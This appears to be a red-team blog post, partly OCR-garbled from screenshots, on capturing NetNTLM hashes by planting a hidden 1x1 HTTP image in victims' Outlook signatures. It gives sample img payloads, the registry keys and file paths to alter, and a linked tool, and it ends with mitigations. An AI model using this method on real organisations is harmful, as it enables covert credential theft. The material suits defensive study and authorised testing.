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In your emails, getting your hashes

Capturing NetNTLM hashes from network communications is nothing new; a quick Google
for ‘Capture NTLM Hashes’ throws up blog posts discussing the various ways to force SMB
communications to an attacker and the numerous existing tools to capture the authentication
attempt and extract the password hash. Sniffing SMB traffic requires elevated permissions
that typically aren’t available when you first get command and control on your target and
being a ‘yes’ person for NetBIOS queries can be a little noisy. This blog post will discuss the
concept of Windows ‘Trust Zones’, how email signatures are configured in Outlook and how
the combination of the two can result in the capture of hashes. The focus will be on achieving
this in a red team scenario, which means ticking the following boxes:
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Can be performed without GUI access

Minimal impact to the user experience

Repeatable and automated

Easily reversible (Any changes to files/settings put back to the original state)

Windows Trust Zones

In order to capture hashes, software on the target system must be forced to attempt a type
authentication to the attacker using the currently authenticated account. As well as SMB,
other protocols can also support authentication with the user’s NetNTLM hash over the
network:

e HTTP
 POP3
e SMTP

On previous engagements internal phishing emails for both credential capture, and malicious
documents for establishing command and control have been highly successful, however this
level of overtness can lead to detection, particularly when close colleagues are targeted.
Capturing and cracking hashes requires less user interaction and therefore has a lower
detection rate. A typical internal phishing email targeting SMB would contain HTML

content similar to the following:

<html>
<body>
<img width=1 height=1 src="file://10.10.10.10/images/logo.png">
</body>
</html>

When this does not point to a valid resource, accessible over SMB by the target, Outlook
informs the user that it’s struggling to retrieve the data but the connection attempt is enough
to capture the target user’s password hash if (and it's a big if) administrative permissions
have been gained on a machine accessible by the target.

Microsoft Qutlook ? X

Contacting the server for information.
]

Cancel
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So using SMB links doesn’t satisfy the requirements for stealth, or the ability to act without
already elevated permissions. This doesn’t mean we can’t use <img> tags to capture hashes
though, it just needs to be over HTTP. HTTP NetNTLM authentication can be requested by
the server, to which the web browser (or other web-enabled client) will cause the web
browser to engage in a challenge/response communication that, if captured can be subjected
to offline cracking to obtain the user’s plain text password — the image below shows the
authentication flow at a high level:

1. Anonymous connection

401 Response: WWW-Authenticate header

Authorisation NTLM
WWW-Authenticate: NTLM

Authrization NTLM (Message 2)

In order to prevent nefarious servers on the internet from simply requesting this type of
authentication, Microsoft introduced the concept of trust zones. In order of least restrictive to
most restrictive, these zones are:

e My Computer

Local Intranet Zone
Trusted sites Zone
Internet Zone
Restricted Sites Zone

So if you're trying to authenticate to something on the local intranet then the browser will
happily send your password hash, allowing single sign-on but if evil.com asks for the hash, it
will be classed as ‘Internet Zone’ and therefore won't receive it.

Get in the Zone

So how does Windows know whether the server requesting the authentication is in the Local
Intranet Zone? As well as being able to add specific sites to a zone, Internet Options also
has some default patterns that will cause a resource to be classed as Intranet:
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General Security Privacy Content Connections Programs Advanced

Select a zone to view or change security settings.

@ ¢ v O

Internet Local intranet Trusted sites  Restricted
sites

Local intranet %

Use the settings below to define which websites are induded in
the local intranet zone.
[ ] Automatically detect intranet network
] Indude all local (intranet) sites not listed in other zones
(] Indude all sites that bypass the proxy server

] Indude all network paths (UNCs)
What are intranet settings? | Advanced | OK Cancel
"Customlevel... | T Defaultlevel |
Reset all zones to default level
oKk || cancel | Apoy

This results in the following outcomes when running through the various different ways of
requesting the same HTTP resource:

Type URL Zone Outcome
Classification

IP http://192.168.10.10/index.html Internet User is prompted

Address for a username

and password

FQDN*  http://webserver.targetorg.local/index.html Internet[J1] User is prompted
for a username
and password
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http://192.168.10.10/index.html
http://webserver.targetorg.local/index.html

NetBIOS http://webserver/index.html Intranet NTLM

Name Authentication is
attempted with
the currently
authenticated
user’s credentials

*Though this is the default setting, many organisations will add the FQDN of the internal
domain to the Intranet zone.

So if we can force a HTTP request using a NetBIOS name from a domain joined machine to
a web server that captures authentication attempts, then we end up with a password hash to
crack. This is all very familiar to anyone who has used Responder, or Inveigh although
perhaps SMB is the more popular protocol, combined with NetBIOS name spoofing. The
benefits of HTTP over SMB are:

e AHTTP server can listen on any port — important for low integrity command and control
o Doesn’t require elevated privileges to sniff traffic on Windows; it’s a running service, not
capturing communications to an existing service as Inveigh does with SMB.

These benefits are huge and ripe for abuse on most red team engagements, particularly
given on most engagements:

« Initial access is on a low privileged end user device (so we can still use this)

» Most organisations still have a relatively flat network (all hosts can communicate with
each other — even over the VPN!)

» Host based firewalls are often off or configured very permissively when in the ‘Domain’
profile

o There are a number of ways to elicit HTTP traffic to a destination

Outlook Security

When operating through a command and control channel, sending an email using the
target’s account becomes more complex. There’s always the option of stealing some
Office365 cookies, or browser pivoting through the beacon but attempts to use a web based
interface but it's always nice to be able to operate without the requirement for a GUI.
Attempting to use Microsoft.Office.Interop.Outlook in C# can result in a sudden and rather
worrying prompt for the user:

5/12


http://webserver/index.html

Microsoft Outlook .

r" A program is tning to access e-mail address information
stored in Outlook. If this Is unexpected, click Deny and
verify your antivirus software is up-to-date.

<

For more information about e-mail safety and how you
might be able to avoid getting this warning, click Help.

Allow access for | 1 minute

r

Allow Deny | Help

By default, the decision whether to display this prompt is bizarrely made by checking whether
the current anti-virus software is out-of-date. If it's not then the prompt is not shown; an
extract from the Outlook Programmatic Access documentation is shown below:

The Programmatic Access security settings in the Trust Center provide the following
options:

Setting Meaning

Warn me about This is the default setting in Outlook. Suspicious activity refers
suspicious activity when to an untrusted program that is trying to access Outlook.

my antivirus software is

inactive or out-of-date

(recommended)

Always warn me about This is the most secure setting and you'll always be prompted

suspicious activity to make a trust decision when a program attempts to access
Outlook.

Never warn me about This is the least secure setting. This means that with a few pre-

suspicious activity (not flight checks, sending out internal phishing emails can be fairly

recommended) trivial and the default Trust Centre settings mean that any
images included within HTML content will be automatically
downloaded.
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Trust Center ? X

Trusted Publishers You can control whether Outlook automatically downloads and displays pictures when you open an HTML e-mail
message.
Privacy Options
Blocking pictures in e-mail messages can help protect your privacy. Pictures in HTML e-mail can require Outlook to
Email Security download the pictures from a server. Communicating to an external server in this way can verify to the sender that

your e-mail address is valid, possibly making you the target of mere junk mailings.
Attachment Handling

I . v| Don't download pictures automatically in standard HTML e-mail messages or RSS items
f | Permit downloads in e-mail messages from senders and to recipients defined in the Safe Senders and
Macro Settings Safe Recipients Lists used by the Junk E-mail filter
p | Permit downloads from Web sites in this security zone: Trusted Zone
rogrammatic Access
v| Permit downloads in RSS items
| Permit downloads in SharePoint Discussion Boards

+/| Warn me before downloading content when editing, forwarding, or replying to e-mail

v| Don't download pictures in encrypted or signed HTML email messages

So this means that the email content would now become:

<html>
<body>
<img width=1 height=1 src="http://target/images/logo.png">
</body>
</html>

Given GUI access to a target, it is possible to insert the HTML content using Outlook,
although this seems to require the addition of an alternative “Attach File” menu item to give
the required option. This can be achieved by modifying the ribbon to include the duplicate
“Attach File” as shown below:
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Add-ins

Trust Center

Arrange By Name

As a Business Card

As an Outlock Contact
Assign Policy

Assign Task

Attach File

Attach Iem
Attachments

L:IE:J AutoArchive Settings
. Automatic Replies...
[} Availability

€ Back

e~ Bece

& Block Sender

B Bold

"a Bottom

® Send/Receive (IMAP/POP)
® [ Home (Calendar Table View)

@ [l Home (Calendar)
@ [“] Home (Contacts)
B [ Home (Tasks)

[ Home (Notes)

@ [l Home (Journals)
# [“]Home (Group)
[ Send / Receive
® [ Folder

Outlook Options ? X
General = . .
o] Customize the Ribbon.
Mail
tend Choose commands from: &) Customize the Ribbon:(®
enaa l All Commands m | Main Tabs >
Groups
People All Outlook Items [4] Main Tabs ) O
’ All Task Items & k4 Home (Mail)
Tasks Allow ® New
. Always Expand Selected Conv... D B Actions
mrch Always Move Messages in Thi... B Delete
Language Any Category ® Respond
Apply View to Other Folders ® Quick Steps
Advanced Appointment & Move
Archive... ® RSS
Archive... ® Tags
! Arrange By ® Chinese Conversion
Quick Access Toolbar Assance By & Find
Arrange By ® Add-ins

-
|

‘ New Tab ‘ [ New Group ‘ ‘ Rename... ‘

Customizations: i:)
Import/Export ¥ |©

| oK

|| Gt

When composing a new email message, the newly added “Attach File” menu offers the

option to insert a HTML file as text, which results in the content being included and rendered

in the email body.
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[ Insert File x

1 » ThisPC » Local Disk (C:) » Users > pen » Documents > html v & Search html
Organize ~ New folder =~ M @
A
(] Name Date modified Type Size
G htmlcontent.html 23/10/2020 16:10 Chrome HTML Do... 1KB

[P Microsoft Outlool

@ OneDrive
3 This PC
v
File name: | htmlcontent.html v‘ All Files (*.%) ~
Tools ~ Cancel
Insert J—
Insert as Text

But what if we don’t have GUI access, and if the user has security settings that prevent code
from interacting with Outlook Interop?

Sign Me Up!

Email Signatures can be defined from within Outlook via the Options > Mail > Signatures
menu, as shown below:
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G I N . .
e [—1] Change the settings for messages you create and receive.

Wt |

Calendar Compose messages

Groups @ Change™— ! 11 iLh

People Compa Signatures and Stationery ? %

Tasks 4 E-mail Signature  Personal Stationery

Search AJM: Alwi  select signature to edit Choose default signature

Language vlgnd [ E-mail account:  |iohn@targetorgxyz E

Advanced New messages: | Mysignature 3
Q‘ Create Replies/forwards: |\ signature E

Customize Ribbon

Quick Access Toolbar Delete New Save Rename
R Use staf]
Add-ins Edit signature
Trust Center Outlook panes Calibri (Bocy) Z| " El B I U Automatic z‘ = = = | [&])Business Card | D;. %
. " -
Custord This is my signature,
Message arrival
% When n
L | Playt
Brief
v| Sho y
v| Disp
: oK Cancel

Creating a signature results in the content being used to generate three files types in the
user’s AppData folder that correspond to the various email formats; plain text, Rich Text and
HTML:

C:\Users\john\AppData\Roaming\Microsoft\Signatures

~
Name Date modified Type Size
MySignature_files 20/10/2020 16:54 File folder
€ MySignature. htm 20/10/2020 16:54 Chrome HTML Deo... 38 KB
W5 MySignature.rtf 20/10/2020 16:54 Rich Text Format 38 KB
] MySignature.txt 20/10/2020 16:54 Text Document 1KB
Compuber\HKEY_USERS\S-1-5-21-1975055641- 3045641864- 3638T31819- 1001\ 50F W it Offscel 1€, Profs FRM1311
v || Office || Name Tipe Data
y 15 8] Default) REG ST fualue not set)
vijm 5 Account Name REG.ST [ S——
:‘"ﬁ 8] chsid REG ST {ED475414-BO06-1102-BCIB-00104B2A6676]
: ;{':r‘“" 2 Delvery Foldes EntrylD REG BINARY of 0000100 8 kb 4764 37 70 Oa 4 06 8 2 57 6784
N Groove i#% Delivery Store EntrylD REG_ BINARY 000000003221 bb 1005 ¢5 1012 21 bb 0800 20 21
H Iyme T4 Identity Eid REG_BINARY 00000000 de a7 40 cb 042 101abd IGO0 20 X
N MR L MARI Provider REG_DWORD 000000005 (5)
Miceossét Office Help Viewsr 5 Mimi UID REG_DWORD Dueal33a5e (37128734
» |, OneNete 28] New Signature REG ST MySigrature
w [] Outlook ) Preberences UID REG BINARY 45480 1467 ce c24d B9 Ta co ed 92 19 82ba
AddnlcsdTime: 35| Rephy-Forward Sagnature REG ST MhySigrature
» | Addieg 27 Service Name REG_SZ MSEMS
Appointment T4 Service UID REG_BINARY TE356e T d0 B 2d dc BESe b dc 332765 S
5 AutoDiscover WU XP Peovider LID REG BINARY baddadbbbTA65246 55 fa THEL 21 S 11
Contact T4 XP Status REG_DWORD 00000001 (1)

nnnnnn

the signature has been defined by the end user, or pushed via policy

Action Registry Key Values
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User Computer\HKEY _USERS\<user New Signature

Defined SID>\SOFTWARE\Microsoft\Office\<office Reply-Forward

Signature version>\Outlook\Profiles\Outlook\<sPROFILE Signature
ID>\00000002

Policy Computer\HKEY _USERS\<user NewSignature

Defined sid>\SOFTWARE\Microsoft\Office\<office ReplySignature

Signature version>\Common\MailSettings

So with some quick logic we can see whether a user has signatures set, or not. If it's not set,
we can set one on the user’s behalf through creation of the relevant files within the
signatures folder (C:\Users\User\AppData\Roaming\Microsoft\Signature\MySignature.htm),
or modify an existing signature if one is already set.

Simply adding a 1x1 pixel image to the signature will achieve the desired results.

To automate the process of modifying the signature and starting a corresponding listener, a
tool was written in C#, borrowing code from the Seatbelt and Inveigh projects. The tool
features are:

e Queries the firewall for suitable ports to listen on (Uses some seatbelt code)

» Cross references HttpQueryServiceConfiguration for any usable URL ACLs

o Starts TCP/HTTP server for hash capture (Uses Inveigh code)

o Signature Detection (to modify the appropriate registry settings and signatures)
» Modification of Signature

e Option to send mail to a specific AD group (e.g. domain admins)

o Option to create encrypted logs on disk

o Cleanup (Reverts changes in signature settings and existing signature)

*Tool sold as seen/ “Works on my box” —

Published on github at: https://github.com/nccgroup/nccfsas/blob/main/Tools/Sigwhatever

The use of the tool (except potentially use of the send mail feature) should not impact the
user experience or make any visible changes (just don’t look really closely for the 1x1px
image (&)

There are some potential downsides for this attack which you should be aware of prior to
use:

o External recipients would also receive the tracking image in the signature, revealing an
internal hostname.

o If targeted users access the emails at a later date — this will still trigger a request to be
sent, so this could be picked up by another attacker at a later date (in the highly
unlikely event that the same host is compromised, and an attacker decides to attempt
hash capture on the same port).
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» Expediting the attack by sending unsolicited emails with the modified signatures may
be suspicious.

Detection and Prevention

There are number of mitigations which would prevent this attack, all of which are generally
sensible hardening steps to hosts which we advise

o Network Segregation — As always, internal network segregation can help to reduce the
effectiveness of this kind of technique. Allowing only essential communication between
end user devices would make the service listening for hashes inaccessible.

e Host based firewalls — Turn them on, and prevent additional services from listening

o Turn off auto-download of images, or default to plain text email (this is default for
emails from outside the organisation, but HTML is displayed for email sent within the
same organisation)

« Monitor for changes to the relevant registry keys from processes other than
Outlook.exe

Plain Text Email

Defaulting to rendering emails in plain text for both received communications and
composition would prevent Outlook from rendering the HTML in the signature. This can be
achieved on a single machine via the following options:

Composition:
Outlook Options -> Mail -> Compose messages in this format

Received Email:
Outlook Options -> Trust Center -> Email Security -> Read all standard mail in plain text

This can also be set via Group Policy with the correct admin templates installed:

Composition:

User Configuration -> Policies -> Administrative Templates -> Microsoft Outlook <VERSION>
-> Qutlook Options -> Mail Format -> Internet Formatting -> Message Format -> Set
message format

Received Email:
User Configuration -> Policies -> Administrative Templates -> Microsoft Outlook <VERSION>
-> Qutlook Options -> Preferences -> E-mail Options -> Read Email as Plaint Text

This obviously has an impact on the formatting and readability of email content but can be
overridden by the end user on a per-email basis.

Credits: David Cash, Julian Storr, Richard Warren
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